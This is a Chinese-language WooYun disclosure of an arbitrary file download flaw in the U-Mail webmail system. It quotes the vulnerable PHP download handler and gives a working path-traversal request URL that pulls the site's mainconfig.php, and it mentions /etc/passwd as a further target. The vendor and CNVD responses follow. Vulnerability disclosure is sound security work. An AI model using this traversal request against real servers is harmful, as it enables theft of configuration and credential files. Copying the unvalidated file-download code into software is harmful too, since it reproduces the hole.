当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060478

漏洞标题:U-Mail邮件系统任意文件下载漏洞

相关厂商:U-Mail

漏洞作者: Ano_Tom

提交时间:2014-05-13 01:09

修复时间:2014-08-11 01:10

公开时间:2014-08-11 01:10

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-13: 细节已通知厂商并且等待厂商处理中
2014-05-16: 厂商已经确认,细节仅向厂商公开
2014-05-19: 细节向第三方安全合作伙伴开放
2014-07-10: 细节向核心白帽子及相关领域专家公开
2014-07-20: 细节向普通白帽子公开
2014-07-30: 细节向实习白帽子公开
2014-08-11: 细节向公众公开

简要描述:

U-Mail邮件系统某处处理不当,导致任意文件下载漏洞

详细说明:

漏洞文件:C:\umail\WorldClient\html\client\mail\module\o_mail.php
代码:

if ( ACTION == "down" )
{
set_time_limit( 0 );
$file = gss( $_GET['file'] );
$is_del = gss( $_GET['delete'] );
if ( !$file )
{
$maildir = get_session( "maildir" );
$mb_index = gss( $_GET['mailbox'] ) ? gss( $_GET['mailbox'] ) : 0;
$mb_list = get_session( "['mb_info']['mailboxlist']" );
$mb_info = $mb_list[$mb_index];
$sys_folder_list = array( "inbox", "drafts", "sent items", "deleted items" );
if ( $mb_info['name'] == "inbox" )
{
pass;
}
else if ( in_array( $mb_info['name'], $sys_folder_list ) )
{
$maildir .= $mb_info['name'].".IMAP".DIRECTORY_SEPARATOR;
}
else
{
preg_match_all( "/([\\x{4e00}-\\x{9fa5}]+)/u", $mb_info['name'], $zh_match );
if ( $zh_match )
{
$folder_name = $mb_info['name'];
foreach ( $zh_match[1] as $zh )
{
$conv_name = mb_convert_encoding( $zh, "UCS-2BE", "UTF-8" );
$b64en_str = "&".base64_encode( $conv_name )."-";
$b64en_str = str_replace( "=", "", $b64en_str );
$folder_name = str_replace( $zh, $b64en_str, $folder_name );
}
$maildir .= $folder_name.".IMAP".DIRECTORY_SEPARATOR;
}
else
{
$maildir .= $mb_info['name'].".IMAP".DIRECTORY_SEPARATOR;
}
}
$file = getusercachepath( )."mailArchive.zip";
}
if ( file_exists( $file ) && is_file( $file ) )
{
header( "Content-type: application/octet-stream" );
header( "Content-Disposition: attachment; filename=".basename( $file ) );
header( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header( "Expires: 0" );
header( "Pragma: public" );
header( "Content-Length: ".filesize( $file ) );
header( "X-Sendfile: ".$file );
$handle = fopen( $file, "rb" );
$buffer = "";
while ( !feof( $handle ) )
{
$buffer = fread( $handle, 4096 );
echo $buffer;
ob_flush( );
flush( );
}
fclose( $handle );
}
else
{
echo "file not exist or not a file";
exit( );
}
}


其中
$file = gss( $_GET['file'] );//获得文件名
if ( file_exists( $file ) && is_file( $file ) )//如果文件存在且是文件则直接执行下载
:(
好吧,这样就可以下载任意文件了,
注:此处演示的是官网下载的最新版,windows server 2003搭建,且都为默认配置
ok,想下载哪些文件随意,未测试linux下的/etc/passwd
此处下载网站根目录下的配置文件,默认加密了的,解密即可
http://fuckyou.com/webmail/client/mail/index.php?module=operate&action=down&file=./../../mainconfig.php

b6ff3614-4b95-479f-a4ec-d386273dc92b.png


软件设置的mysql默认端口为6033,应该没开启外连的,未具体测试
:(

漏洞证明:

如上详细描述

修复方案:

filter!

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-05-16 18:33

厂商回复:

CNVD在贵司官网下载的9.8.54版本存在此漏洞,其他实例因无账号无法登陆。由CNVD通过公开渠道联系深圳市福洽科技有限公司处置。

最新状态:

暂无